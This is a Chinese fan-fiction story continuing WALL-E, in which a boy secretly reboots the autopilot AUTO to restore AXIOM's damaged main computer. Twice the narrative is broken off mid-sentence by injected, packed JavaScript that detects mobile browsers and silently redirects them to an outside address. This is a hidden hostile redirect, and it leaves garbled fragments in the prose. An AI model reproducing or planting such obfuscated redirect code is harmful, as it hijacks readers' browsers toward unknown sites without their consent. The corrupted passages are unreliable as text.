《彗核》 1. 序 夕阳橙黄色的光芒投射在一棵棵布满鳞片的树上。湿闷的气息熏得各种生物昏昏欲睡。这只是一个夏天的普通黄昏罢了。 对于藏在一棵小灌木下的这只幼年霸王龙来说,它活动的时刻才刚刚开始。阳光不像中午时那么灼烈,橙黄色的余晖也在慢慢消去。终于有阵微风了。这只霸王龙从灌木底下钻出来,抖抖头颈,开始四处寻找着白天的各种痕迹——它体型还太小,远远达不到主动袭击其他恐龙的标准。因此它期望着能够找到一块食草恐龙的残骸,姑且在生存的夹缝中偷生。 运气还不错。刚转悠没多久,它就嗅到了一股强烈的肉腥味。它循着气味找过去,发现是一只刚刚被自己的成年同类享用过的鸭嘴龙残骸,上面还留着不少肉。很好,还没腐败。小霸王龙四处观察了一下,确定没有掠食者后,朝着残骸低吼一声,惊跑了在残骸上啃食的其他小型动物。它来到残骸面前,开始探头享用肋骨内的美味。 天已昏暗下来。草丛里倏地一下窜出来几只被硬甲壳质包裹的巨昆虫。虫鸣声此起彼伏,不一会儿求偶的清脆声响灌满了这片地区,像雾气一样从幽暗的山谷中泛上来。小霸王龙仍然把自己沉浸在肉的美味中,丝毫没有留意周围的虫鸣。 待到小霸王龙终于饱食后,天已完全黑了。它朝山崖上悠闲地踱去。一阵闪光溜进它的眼角,它往闪光处一瞥,虽然天黑了,但是昏黄的云层仍清晰可见。那处闪光一定是山谷那边的积雨云发出来的。看来这个晚上得找个避雨处。它在山崖上走着,身影黝黑,活像个幽灵。不过不知为何,这天它不想马上钻进往常藏身的灌木丛了,它想在山崖的空旷处多呆一会儿。 如果它足够幸运的话,半年后就可以获得这片地区一定的控制权了。也许再过久一点,它会成为这个山谷当之无愧的王。 又一道闪光溜进它的眼睛。它再次寻找着那道闪光的来源。这次,它有了新发现:这闪光不再是之前那种转瞬即逝的扭曲树枝,而是——它无法理解剑的概念,这形状只让它觉得更像三角龙身上雪白的犄角,或是被啃食殆尽的雪白的肋骨。那也不是什么闪光。天幕下的这道”三角龙犄角”亮着刺眼的光芒,慢慢消失在山谷另一边。 接着,两道、三道……越来越多的”犄角”从天而降,带着撕裂大气层的奇怪声响。小霸王龙嗅到了一股不同寻常的气息。它想从山崖上退下去。它的腿已经绷紧,随时准备逃走,只是仍好奇地回望着天上那幅奇妙的图景。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706267|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮度骤然增加了。一道巨大的”犄角”狠狠扎进昏暗的天幕,其亮度之高甚至可以与太阳媲美。半空中这道”犄角”突然炸开,但是炸开后的小块也一点都没小多少,每一块都显得巨大无比。这些巨大的碎屑再也不是拖着白亮的尾巴了,而是橙红发白地朝地面砸去,带着尖锐的爆裂声响。这可一点都不是什么友好的表示。小霸王龙立刻转身就跑,想找到一个结实一点的藏身处。留在它基因里的远古记忆告诉它火球不是什么好东西。 它只觉身后的天空似乎亮得鼓起来一块。它只来得及往后急急一瞥。一定是在逃跑的过程中不知何时又来了一个巨大的火球,此时火球已经到达了目的地,它带着能量和大量物质作为地球的见面礼,把处置自己礼物的工作全交给了迎接自己的大地。那些光都是从远方的一个巨大”锅盖”发出来的。小霸王龙停下脚步,再看一眼那自己从未见过的图景,开始用它本来就不怎么灵光的大脑思索着该如何避开这些让它感到不安的图景。它最终还是奔去寻找山洞了,那个山洞它记得,很结实,可以抵御火山喷发。只是得加快步伐,因为”锅盖”开始变大了。 但当冲击波的热浪猛地袭上小霸王龙的后背时,它在想什么已经不重要了。 2. 一 “你们要记住……我给你们的信息和警告……”麦克雷(McCrea)躺在床上,呼吸困难,”尤其……要把公理号(AXIOM)主电脑的故障排除掉……人类与地球的所有信息都储存在那里……” “父亲,我一定会按您所说,竭尽全力找到那些数据的!”麦克雷的儿子跪在他身边,紧紧握住父亲那依然肥胖的手,哽咽地说道。 麦克雷的家——由一个逃生舱和一座小砖瓦屋连接起来的建筑里挤满了人,其中还有几个非人类成员。大家都与麦克雷及其家人保持一段距离,肃静地站着。非人类成员中的一个奇迹——瓦力(WALL-E),像个黄色小箱子似的乖乖躲在一个角落里。而他的伙伴伊芙(EVE),则默默浮在瓦力身边,静等最后时刻的到来。 麦克雷的呼吸越来越急促,却越来越弱。他终于又耳语般地说出了几个字:”还有……别的……” 剩下的他再也没能说出来了。被握在儿子手里的那只手松弛了下来,开始变冷、发硬。 他的儿子再也抑制不住心中的悲痛,伏在麦克雷的床头哭了起来。儿子的妻子手中抱着只有两岁的孙儿,也轻声啜泣起来。屋子里的人有几个掩着面悄悄走了出去。瓦力把身子缩得更紧了。还有小小的M-O,也待在一旁。天上滚过几声沉闷的雷,到处都是悲戚的味道。 两岁的小孙儿完全不理解周围的一切。他轻轻叫了句:”爷爷……” 一百年后。 一个十四岁的少年坐在公理号的登船平台上,两条腿在平台外不时晃荡着,眼神有些空洞地望着公理号周围绿油油的土地。此时才刚刚过中午,太阳本应当白刺刺地照在这个海湾,但是今天没有。黑压压的乌云一点又一点地把来自天顶的光吞噬。这样的天气现在越来越多。 他冷冷地朝那片污浊不堪的云望了一眼,又毫无感觉地把目光转回那片绿油油的模糊大地。他现在离真正的地表非常高,随时都有掉下去的可能,但他不在意。汹涌的思绪早就把他淹没,他什么也没看进去,忽略了嗖嗖刮过身上的湿冷的风,略显瘦小的身材随风在登舰平台上轻轻摇动。 闷闷的雷声滚过,他依然没有察觉。一个小机器人从登舰平台旁边飞过,提醒汉说:”汉,马上要下泥浆雨了,你进船舱躲躲吧。” 只见坐在登舰平台上的这个人影被突然传来的机械声响吓得一震,这才回过神来。”知道了。”他懒懒地站起来走回船舱。 对于一个十四岁的男孩来说,孤独地走进船舱的确不同寻常。飞船落地后好长一段时间里,随着飞船内的摆设不断被取下来作为建设材料,曾经装修豪华的公理号甲板船舱内俨然空空荡荡。曾经摆设着各种电器的位置现在大多都被拆得只剩底座,一些横梁也被拆下来用作钢筋,曾经干净透亮的高敏感应地板此时粘上了一百年来一层又一层湿了又干干了又湿的地球泥土。高高的穹顶上的高功率灯光早就不再发亮,只有极少数全息广告板正在苟延残喘地发出细细弱弱若有若无的灯光,随时都会彻底熄灭。 哪怕是白天,这里都暗得不像样。到处都是细小的钢筋碎块和其他的包装盒。本身巨大的体积却造就了绝佳的回音系统。汉一个人的脚步声铛铛地回响在偌大的空间里。如果他停下来,耳边就会不时传来飞船外壳被风穿过的吱嘎声,没有吱嘎声的时候,习惯于平时有人嘈杂的耳朵就会被一种不适的安静胀满。但是随着他在船上待的时间越来越长,耳朵倒也适应了这种寂静。 空荡冷清的公理号是孩子们玩”恶鬼食人”的最佳地点。十到二十个孩子有时候会成群结队地涌进公理号,女孩们常常刚进去不到10分钟就会又怕又不想丢面子而撅着小嘴出来,但男孩们总是玩得忘乎所以。他们藏在黑暗的角落里,有的孩子不时弄出呜哩哇啦的鬼叫声,而聪明一点的就躲在某个角落里,逮住某些落单的双人组或者更惨的独行侠,猛地从黑暗中窜出来,始作俑者和受害者一前一后一小一大的尖叫声回荡在公理号的各个角落里。 这些男孩们,表面上看来非常勇猛不怕黑暗,但是一到游戏结束的时候,只要大部分人都走了,剩下的都会乖乖地出来,哪怕是颇有狙击天分的埋伏好手。没有一个孩子胆敢独自呆在黑漆漆鬼影幢幢的公理号上。但当他们长到12岁以上,他们就厌倦了这种游戏。船上的各种摆设虽然对他们不再具有威慑力,但是他们也懒得再上来挑战自己的胆量了。 汉曾经也是这个扮鬼部队的一员。他虽然在男孩时被公理号上的气氛和伙伴们吓得不轻,也体会到那种又惊又怕却又欲罢不能的快感,但是他在几年的游戏下来着实摸清楚了公理号上的通道和设施布局。这对他现在能从容自如地行走在黑漆漆的船舱里帮助极大。 微弱的轰鸣声突然自上而下传来。汉回头看了一眼路过的一个登舰口,外面下起了滂沱大雨。随着雨水的不断落下,烂黑的泥浆溅落在登舰平台上,弄得一片狼藉。听人们说,也就才30年前,这好好的雨变成了有时候带着烂泥巴的怪雨。不知道为啥。 他已经14岁了,但还是进来船舱,这被他的伙伴认作是”长不大的小屁孩”。而他的确体格瘦弱,这在目前已经有几个开始变得高大的男孩们眼中他就是最理想的欺凌对象。也正是如此,汉因为仍然进船舱而被嘲笑隔离,而他因为被嘲笑隔离而在船舱上待的时间越来越长。 黑暗的船舱又有什么可怕的呢?什么都没有,只是声音怪了点,光线差了点,环境冷了点,没有吸血鬼,没有僵尸,也没有外星人。汉的伙伴们这么想,汉也这么想。而他的伙伴因为认识到不再可怕所以不再好玩,汉则因为认识到不再可怕而从容出入。 “你们要是真的不怕那就像我一样自己进去啊。”有一次汉在被几个年长男生包围的时候说道。 “我不进去就说明我怕?你小傻瓜哪来的逻辑。”一个男生冷眼一扫他,”昨天要他打理的菜地就让他给跑了!揍他!” “你们……让我在黄昏之前打理完那么一大片菜地,谁干得完啊?!” “哦?你去公理号上瞎胡混就说自己搞不完了?很有趣嘛。”那个男生突然抓住汉的衣领,”有机器人啊傻逼,你就不会把工作丢给他们?!” 拳脚过后,汉回到家并没有对父母说这事。但是被泥土染脏的衣服和面部青一块紫一块的伤疤却瞒不过他的母亲。汉只好对母亲说了前因后果。然而令他没想到的是,他母亲并没有像之前一样看在被揍的份上对他上船的事睁一只眼闭一只眼,而是面色一变,叫来了他的父亲。 “你已经13岁了,如果现在还不好好学着打理已经有的菜地,以后怎么去开垦新的土地啊?”他母亲开始苦口婆心地教育他。 “不遵循先辈们的祖训,就是败家!”他父亲对他严厉吼道。”玩飞船能有出息吗?飞船都飞不起来了,最重要的是把地球上的生计搞明白了,我们才能活!” 汉听过这样的说辞不止一次两次了。他很清楚自己将要遭受的,如果从轻处罚,就是至少30分钟的语言淋浴。如果从严处理,那么无非就是语言淋浴加不让吃晚餐。挨打的时候早过了。他深吸一口气,做好了左耳进右耳出的准备。 “……我知道麦克雷舰长最后说要搞好飞船数据库,但不是你的活知道不?都过了100多年了,我们都早已不再是那帮船上的肥猪,我们的科技水平正在步步恢复,机器人们正在慢慢帮我们找回数据,还有更加专业的专家们正在琢磨这个,我们要做的就是等待,根本不要你操心。……” 不知过了多久,汉慢慢结束神游,刚好碰上父亲已经从硬到软开始对他讲大道理了。这意味着语言淋浴马上就要结束了,并且可能还会有个不错的减刑结果。 压根就是开玩笑嘛。汉心里想。他进船的次数多了,哪一次不是空空荡荡的?什么机器人什么人类专家,屁影都没有。但是他依然低着头,紧抿嘴唇装作认罪的样子,这会让结束来得更快些,让老爸老妈信口开河发泄完算了。 他没有因为爸妈的说教而改好,相反,他待在船上的时间越来越多,一方面是逃避那帮大男孩们的追杀,另一方面他在船上早就找到了最吸引他的部分。 他父亲之所以最后对他说那么一段话,就是因为之前汉在舰桥里待着的时候自己瞎琢磨然后很意外地接好了一根线,其意外程度绝不亚于当年麦克雷从面板底下瞎接就接通了全舰广播。然后一块操纵面板就恢复功能了。这件事当时轰动了整个地球镇,但是很快,他被禁止踏入舰桥半步。理由是,人们害怕他到时候鼓鼓捣捣”不小心”把头号混蛋奥托(AUTO)重启了。麦克雷曾经说过奥托是具有情感的,凭他在机器人中的地位和他的能力,如果他醒了不知道会发生什么事情,所以警告人们必须小心不要去唤醒奥托。 汉对给他的这个禁令一开始有点惧怕,但是随着发现公理号上根本无人把守,他也就大大咧咧闯进舰桥继续捣鼓着他的线路去了。随着对面板控件的逐渐熟悉,他发现所有控制台失灵的最根本原因是藏在公理号舱壁内的电脑逻辑组件被外界侵蚀了。他曾经去过几次公理号主电脑的机房,都被本来应该是极净区的机房内的霉味呛到。 他在谨慎的考虑下最终找到几个电子工程机器人,很愉快地发现他们并没有因为他违背了禁令而表现出警觉,这说明这些电子工程机器人不知道或者并不在意这件事情。他看着电子工程机器人维修着控制台,正想着应该能通过他们继续深入了解这些程序的功能,一个机器人突然转过身来,对他用平平的机械音说道:”汉,这里存在权限,我们没有经过授权解除限制。” 汉一愣。在电子工程机器人给他解释了什么是权限之后,汉对他们说我给你授权,你快破解。 “否定:不是最高权限者,授权失败。” 汉又一愣。”你们能不能别管这些小程序,能修多少算多少?” “否定:这不是小程序,是修复路线的必经之路。” 那就只有一条路了,目前。”最高权限者是谁?” “对不起,我们无可奉告。”机械音回答。 “为什么无可奉告?”汉感到奇怪。 “对不起,我们被要求无可奉告。”丝毫未起波纹的机械音回答。 “……” 汉陷入沉思。在与机器人生活过这么长时间后,汉知道死逼烂缠机器人是无法逼出他们的话的。这倒是奇怪为什么麦克雷舰长能把奥托埋了700年的秘密给套出来。也许换个方式他们就能开口了? 但很快汉就失望了。他发现无论怎么变换方式,只要提及有关最高权限者的话题,这些机器人总是能够巧妙地绕开他的话题,就是闭口不谈那个名字。而到后来,这些机器人一见他就很礼貌地用各种说辞推脱谈论,他们甚至已经摸透汉找他们是为了什么。 后来汉想通了。彻彻底底想通了。他的招数想必开始真有人类专家的时候他们也使用过,但是不奏效。而麦克雷最后能说要排除故障就说明他并没有成功开通修理进程,也就是他不是最高权限者,可以推理得知任何船长都不是。希尔拜·佛斯莱特?倒是有可能。但是在这个海湾就有5个发射口,全球都不知道有多少个,一个人给所有电脑下权限的话,一旦在他死后,所有飞船只要主电脑一有故障就会全船失灵,不到700年BNL的飞船就会摔得干干净净。事实上公理号有记录本舰电脑曾经出现过故障,但并没有接受外部的指令就修好了。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15706268|173541||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > ……而且这么一个老总会管每条飞船的权限这种事情吗?再说了,就算他是最高权限者,以麦克雷的口技,当时他就怎么也得像逼奥托一样把这个最高权限者的名字逼出来吧?不至于拖这么久。 那答案太明显了。从始至终管电脑管得最多使用最多的只有奥托。也只有他最了解机器人的思维方式,所以能下达一个百毒不侵的保密指令。而麦克雷的警告在人们心目中的地位又肯定高于修主电脑,所以就卡在奥托这一关。这也说明这么多年为什么修电脑的事拖这么久,人束手无策,机器人也束手无策。 汉倒是不觉得警告比要完成的事更重要。他从小听熟了那些对于他来说老掉牙的故事。曾经他很相信甚至对某些内容所对应的现实事物感到很忌惮,但自从他发现公理号上除了黑就是黑之外根本没有故事中的鬼的时候,他就开始对这些故事都产生了怀疑。包括那个警告,汉也挺怀疑的。他进去舰桥那么多次,根本无法忽视那个显著的吊在天花板上的了无生气的轮盘。 比我想象的小点。汉第一次观摩奥托的时候这么想。开始的时候汉还不敢碰他,但是后来他就从小心翼翼地戳着黑白相间的外圈辐条到开始肆无忌惮地拔开电击棒再坏笑地把自己的皮肤贴到那两根冰凉的双极针上。 只有碰了上面那个开关这个家伙才会醒。而那离地面还蛮高的,平时碰碰底下毛事都没有。汉在舰桥的时候也对奥托的结构进行了探索。他发现奥托的白色面盘已经发黄,而辐条上也有被暴力扭曲过的痕迹。 最厉害的恶魔也有伤痕,并不是可怕到毫发无损的。汉有一段时间并没有去仔细钻研控制台,而是在奥托面前静静地看着他,思考着这个所谓的头号恶魔到底可怕在哪里。现在他镜头一片黑暗,后方的牵拉电机也没能拉住前方的面盘,让他就那么软软地吊在那里,还任一个14岁的小毛孩摆布。而如果这个家伙真的如此可怕,他也不至于败于一个胖船长之手,沦落到现在被时间慢慢侵蚀的地步。 汉太想把主电脑恢复了。就以他对机房的观察,如果这件事情再拖下去,恐怕到时候数据都会被霉菌啃得一干二净。这才是人类的灭亡之时:没有知识,只能等死。 重启他吗? 这是个很严肃的哲学问题。 汉不知道在他之前这100年里有没有人想过这个问题。恐怕就算有人想过,他们也因为对这个警告看得太重而停了下来。他突然有些遗憾自己没有机会能知道更多有关奥托的信息。就以他的判断,奥托并没有那么危险,但是他不敢打包票。 唯一的危险应该就是那个电击棒了。汉不止一次地想。于是他就在到底要不要重启奥托的这个关键问题上绞尽脑汁。这几天他精神恍惚,觉也睡不好,饭也吃不好。他家长还在担心这孩子是不是生病了。而汉猛一哆嗦,连忙矢口否认,紧张得都不知道自己到底否认了什么。他看母亲的表情都仿佛是看穿他心思的模样,于是这天一早,他就趁在父母都还没有找他算账的时候溜了出来,径直奔向公理号。 麦克雷舰长到底在担心奥托什么?怕他直接把飞船升空还是咋的?当年可能还能升空,但就以现在的情况,没等升空上百米这船就得碎了。 他猛然想起了奥托在机器人中的地位。恐怕是怕他会有报复心理,然后利用自己的召集能力把所有船员机器人都动员起来绑架所有人类。可是他这样做有什么意义?绑架人类,好,最坏的,杀了所有人类,完成自己对地球的统治?但在复仇之后,他自己又下不来船,空守着这条破船继续活受罪,最终统治也无法顺利完成。这显然不太合理。 况且在已知的事件中奥托并未表现出控制全人类的野心。哪怕是在矛盾最为尖锐的A113事件中,奥托也并没有因为被人们认定的”发现自己统治计划暴露”而进行应该有的最狠的行动。他只是针对麦克雷舰长,并没有对全船人进行限制。汉通过舰上某个古老的科幻影片发现,如果真的有这个野心,以奥托的能力,他绝对不会留舰长一条活路,同样全船的人都得乖乖地待在他的控制下。 在思考中汉不知不觉又来到了舰桥。此时他才如梦初醒般发现自己已经再次站在这个轮盘面前。他自己已经用种种推论说服自己必须要解除面前这位恶魔的封印。他也不知道自己的推理是不是正确的,但是此时他已经激动得无法再冷静思考了,这对于一个14岁莽撞男孩来说也过于强求了。 他并没有马上行动。他的手心正在冒着冷汗,面色也十分苍白。 破禁令,汉已经不是初犯了。但是要破这样的禁令还是第一回。他还是挺怕破祖训的后果的。如果一切顺利,奥托没有造反,他不知道家长和镇长如果发现了,到时候等着他的会是什么惩罚。如果他想错了,奥托还真”蠢”到真的造反,那么什么惩罚都不重要了,他就是第一个牺牲者。想想今天之内自己就可能会丢命,换谁都不敢贸然下手。 透过舷窗,汉看到外面毫无停意的泥浆雨,这个时候真是完美。如果今天不开,如果自己回去的时候被发现又来了舰桥而他们真的派人来把守,自己就再也没有机会上来这里,到时候电脑可能就真的无法再被修复了…… 诱惑太大了。他感到自己就像回到童年第一次藏在公理号上某个黑暗处的时候,心脏砰砰直跳,那个时候他以为自己就要死去。而今天的危机恐怕更加真实。 当他马上就要碰到那个开关的时候,颤抖的手指突然停了下来。汉突然想到一个好主意。他咧开嘴角。至少这样能延缓自己死亡的时间,说不定还能有所改观…… 工作完成后,他躲在奥托的面盘后,用一根长长的细钢棒慢慢地戳到那个红色的按钮上,颤抖地往下一点一点加力道压下去…… 3. 二 嘈杂。 吃惊。 愤怒。 穹顶刺眼的人造阳光刺进镜头。 身上的负荷一下子减轻。 由于有自感线圈,所有的并不是一下子冻结。还给了他几微秒的时间让他意识到所有力量正在流失,自己的意识也在流失。 别这样做!你们都会完蛋! 最后一丝意识竭尽全力喊出这一句。然而它已经无法得知,自己的声音有没有为这件事情的挽回制造一点点的波纹。 似乎只过了几秒钟后,他就又猛然清醒过来。电压到点那一瞬间,他以为自己还有时间能把这混乱的一切挽回。刚刚停滞在身上的指令立刻发挥了它们想要发挥的作用。而他的处理器则瞬间编好了下一步应该做的事情。正要执行之时,他却被身上传来的奇怪感受弄得一愣,让他停下了要做的动作。 他尝试着旋转自己的外圈,但是发现自己的外圈好像被什么东西捆住了,动弹不得。 包括顶端活动滑轮,也是动弹不得,好像被卡住了。 他突然发现光线变得特别差劲。已经到循环夜晚了? 重力值也怪怪的。他望向窗外,着实被这景色吃了一惊。 难道在失去意识的这几秒钟内公理号就坠毁在一颗陌生星球上了? 左侧电击棒损坏的报告与刺痛同时传入了他的处理器。他立刻启动诊断程序。结果让他十分意外:自己居然在没有打开折叠的情况下就开启了电击。反馈结果是他被自己电伤了。从未有过的羞耻感轰地一下从他的处理器中产生,让他对此愣了一会儿。 刚刚混乱的思考随着处理器逐一上线而渐渐清晰条理起来。他总算明白是怎么回事了。 舰长成功把飞船带回地球,人类这下是真的要完蛋了。 在汉的眼里看来,这是另一个故事。 他被电源接通而产生的电压上升的声音吓了一跳,手一抖,那根杆子就掉在了地上。这比刚刚更糟,因为杆子撞在地板上发出了更加巨大的响声,吓得他立刻溜到后方的控制台下面。自己心跳得厉害,大脑被血流冲得又涨又懵,他紧紧捂住嘴巴,生怕自己一点点的呼吸声都露出来。而他看到那个轮盘立刻咯吱一声,旋转外圈力量大得要让他刚刚辛苦完成的工作功亏一篑。他都看见那些绳索都在发抖,有些甚至都要开了。他不敢看接下来要发生什么。唯一能做的就是把自己的身子继续往后缩,尽量缩得更小一点。他害怕当他再次抬头的时候,就会迎面碰上已经挣脱身上禁锢的、已经开启电击的愤怒的奥托。 令人难熬的几秒钟。 但是什么都没有发生。 他小心翼翼地抬起头,发现奥托没有挣脱那些束缚,这让他略微松了一口气。但是接下来让他惊讶的是,奥托并没有继续进行下一轮挣脱的尝试。 牵拉电机已经把面盘拉直,而且5个手柄都已经复位,说明背对着他的这个机器人的确已经成功上线。但是他就只是默默地停在那里,没有制造任何声响,也看不出来要进行什么行动。 怕不是他现在在联络自己的手下,然后……?! 汉被自己这个想法惊得猛一哆嗦。他急忙捂紧自己的嘴巴害怕自己弄出任何声响然后被发现。 窗外雨已经停了。暮色正在昏昏沉沉地降临下来。一股冷风一定从什么破口钻了进来,吹得一些细小的灰尘飞在地板上空。汉突然觉得鼻子有点痒。他吓得立刻捏住鼻翼,本能的膈肌收缩把他的鼓膜都要鼓破了,耳朵里面传来撕裂的痛感。不过貌似还好,自己并没有聋掉,而且声音也好像没有发出来。 当他再次抬头的时候,却听到一个令他恐惧的声音。 “出来。”很机械,很平板,很冰冷的音色。 那一瞬间汉一方面出于恐惧,另一方面也是从没听过这样的声音。他并没有听出来这声音的含义。他现在能做的只是让自己全身不要抖得那么厉害,让自己更安静一些。 “我知道,你在,后面。”低沉的声音再次发话。而这一次有了调子,语速也没刚才那句那么快了,似乎特意是让汉听懂似的。 汉的确听懂了。他从后方控制台下面慢慢钻出来,然后小心翼翼地从后面绕到这个已经亮起红光的面盘面前。他与这个机器人保持了2米的距离,但面前镜头内微小的调焦动作还是被汉捕捉到了。 “解开。”奥托说。 汉面色苍白地站在奥托面前,并不敢做任何动作。 “我需要帮助。”奥托见汉没有动作,用带调子的语句开口了。 “你……会不会电我?”汉十分警惕地望着面前这个看不出来任何情感的机器人。 “不会。”立刻给出了答复。 汉还是不敢行动。被电可不是好玩的事,汉不知道奥托会不会骗他。 “我不骗你。”低沉而冷静的声音再次发出。奥托猜出了汉的心思。 汉终于挪动身体,缓慢又谨慎地接近面前的机器人。他鼓起勇气站到高处。他把缠在顶端滑轮的绳子和辐条上的绳子解开,并且拿出小刀把粘在电击棒上的胶水给仔细铲掉了。让奥托电到自己真不能怪奥托,罪魁祸首就是汉。当时他被关闭的时候电击棒的关节是掀开的,后来叫汉给粘回去了。这样在汉启动他的时候,电击程序是被一并激活的,自然就会继续放电。 工作完成后,汉再次退后,看到面前的机器人小幅度地转了一下辐条,微微前后移动了一下来测试自己的活动度。然后他们面面相对,谁都没有说话,寂静笼罩了整个舰桥。 “现在是什么时候?”良久过后,奥托先打破了寂静。 “2950年。”汉说。 机器人对这个答案沉默了很久。然后才发问:”你是谁?” “汉·肯特(Han Kent)。” “谁启动了我?” “我。” “为什么?” 汉看着面前红色的鱼眼镜头,答案明明就在自己的口中,但是不知怎的就是梗在里面说不出来。经过刚刚一小段对话,汉心中悬着的一块大石头稍微放了一点,因为奥托好像并没有他所听到和想象得那样可怕。他整理了一下自己的思绪,用尽量清晰的语句开口了。 “主电脑坏了,要修,但是里面有权限,我想是——” 话音未落,汉就因惊吓硬生生截掉了后半句,因为刚刚那个在他面前纹丝不动的机器人突然拉高了面盘,然后直接从他头顶上方越过来到汉后方的控制台前。汉吓得立刻压低身体。当他发现没事而直起身时,他发现奥托在自己身后开始操作面板。 只不过点了几下,这个机器人就猛然停了下来,然后把面盘转了过来。 “面板全部损坏。”奥托说,”维修机器人将就位。” 汉听到这句倒抽了口冷气。他浑身打了个哆嗦。这次他走近奥托,惊恐地大睁着眼睛,嗫嚅着说:”奥托,能不能不要联系任何其他机器人?” “为什么?” “你知道吗,麦克雷舰长警告我们所有人都不要重启你。如果我被发现了,那我会很惨……”汉几乎是恳求着说。 听到这句,奥托没有马上给出答复。寂静了几秒过后,他才开口:”保密指令已经发出。”奥托说,他缓缓地把自己的面盘转回舷窗,”当你把我重启之时,所有的公理号机器人船员都将发现我已上线。” 这是令汉没有想到的,虽然这个事实太明显了。他很久都没能说出一句话。他茫然地望向窗外,突然尖叫了一声,让在旁边的奥托小幅度抖了一下。 “怎么了?”奥托问。 “完了,已经天黑了。”说着汉飞奔到楼梯口?——电梯都已经锈坏了。“晚上千万别开灯,千万别让他们发现舰桥里有东西在动。”汉在楼梯口突然刹住脚步,转头对奥托扔下了这一句,然后头也不回地消失在楼梯口里。 奥托看着这一切,什么动作都没有。不对劲。他想。汉给他传递的信息让他的处理器感到一丝阻塞。等维修机器人上来之后得查看他们的记忆了解一下这一百多年来到底发生了什么。 他再次转向舷窗。虽然外面已经黑了,但是他还是能依稀分辨出地表那些颜色略有不同的粗糙的覆盖物。植物。 我的判断错了吗?奥托开始思考。在那天伊芙探测器带回植物的时候,他并没有忽视对伊芙记忆的检查。虽然在他的决定中占绝大部分比重的都是A113指令,但是他没有忘记那个记忆录像中,地球确实还是一片荒芜,只有黄土和垃圾,根本不适合人类居住。所以他才会对船长说你们回去无法生存。 可是在他如此强烈的抵制下,舰长居然成功地把飞船带回地球,而且很明显,人们都活下来了。他的逻辑通路在这个时候感到了更大的阻力。在他的推断中这不可能发生,但是事实却给了他一个大嘴巴子。 还有一点。奥托对此感到非常困惑。为什么麦克雷舰长警告人们不得重启我? 什么玩意儿。 从汉的行为推断,目前人们对他存在很深的恐惧。的确自己的电击棒是自己所拥有的最危险的东西,但是不到关键时候他是绝不会用的。跟与人共事的那么多年里,他用过电击棒的次数屈指可数。而在这些年里没有任何人表现出对他恐惧。奥托觉得人们的表现在哪里都说不通。当事人自己都不明白别人到底怕他什么。真是有趣。 机器人信息通讯网络信号已经在他的处理器内重新配置完成。他忍不住对机器人之间的通讯网络进行了信息频率的分析。在他预料之内,从他上线起,信息通讯的频率开始有了点微妙的上升。鉴于他不能查看这些通讯的内容,他所能做的仅仅是继续观察这种趋势有没有上升,来确定这种上升到底是不是出于他上线的信息。 就在他沉浸在黑暗里独自思考的时候,背后传来了奇怪的金属摩擦的咯吱咯吱响声。奥托转过身,毫无表情但是惊讶地瞧着曾经运作迅速而安静的电梯此时完全失去了它应该有的流畅,走3步停1步。经历了几乎一个世纪那么长的等待后,电梯门好不容易挣扎着打开了,几个电子工程机器人刚出电梯门,就都不约而同地停在了门口。 他们敬畏地看着此时已经完全恢复意识的指挥官。他们的想法和普通人相差无几,都害怕自己会碰上一个随时都可能爆发的复仇家。对此他们还提前商量了好一阵怎么应付可能的不愉快情况。但是当他们绷紧神经出来时,指挥官并没有如他们所想般横亘在他们面前,而是一如既往地冷静地挂在礼貌的远方。他们的担忧立刻消失了一大半。 “晚上好,老大。”一个电子工程机器人(ELE-N)用电子语言打破了寂静。 电子工程机器人接收到了奥托给他们发送的指令,于是立刻开始了工作。他们刚开始时还有些顾忌,但是随着工程的进行,他们并没有被任何来自指挥官的不愉快的事件打扰。奥托给他们腾出很大一块地方,挂在被维修区域的另一头,默默地监督他们工作。不久,这些工程机器人就忘记了身后还有个监督者,开启了边维修边唠嗑的地球工作模式。以前如果上舰桥工作的话,没有任何机器人敢进行除了必要交流之外的任何交谈。今天他们本来也应该有如此的敬畏,但是100多年来的地球文化浸染下,谁都不能免此沾染。一开始对话还是稀稀拉拉,到了后来,电子音开始连续在舰桥回响,不时掺杂着短促尖锐的电子爆音,那是他们特有的笑声。 要说奥托如果感到这种不敬已经到达让他很烦的程度了,他早就会警告这些机器人闭嘴。但是他没有这么做。如果交谈并不影响他们的工作效率的话,那就让他们唠去得了。如果在他面前这些机器人停下了工作开始打闹,影响到工程进度的话,提醒总不为过。而且从他们的交谈中还能间接获取一些外界信息。 奥托本不喜欢拐弯抹角,但是自从自己因为对变化的情况掉以轻心然后遭受到挫折之后,他选择了等待而不是立刻根据自己的推断而采取行动。现在已经不是他所最熟悉的那个环境了。如果他还是采取像原来那样直接的手段,未必能得到最好的结果。现在他能做的就是观察,当他获取信息足够到出他的结论确实能够真正反映事实时,他才走出下一步。所以他在监督那些机器人的同时,也在思考如何让这些机器人对他说实话。他们变得太多了。从他们的对话中奥托推断,这些曾经老老实实的手下现在变得跟人类一样不可捉摸。这个情况让他始料不及。现在发出指令都得好好推敲一下。 所以舰桥的气氛还算比较愉快。严肃刻板的指挥官好像不介意自己的办公室被捣蛋鬼胡闹了。强迫症治好了很多,这倒是个进步。 但汉这里的情况就不那么愉快了。 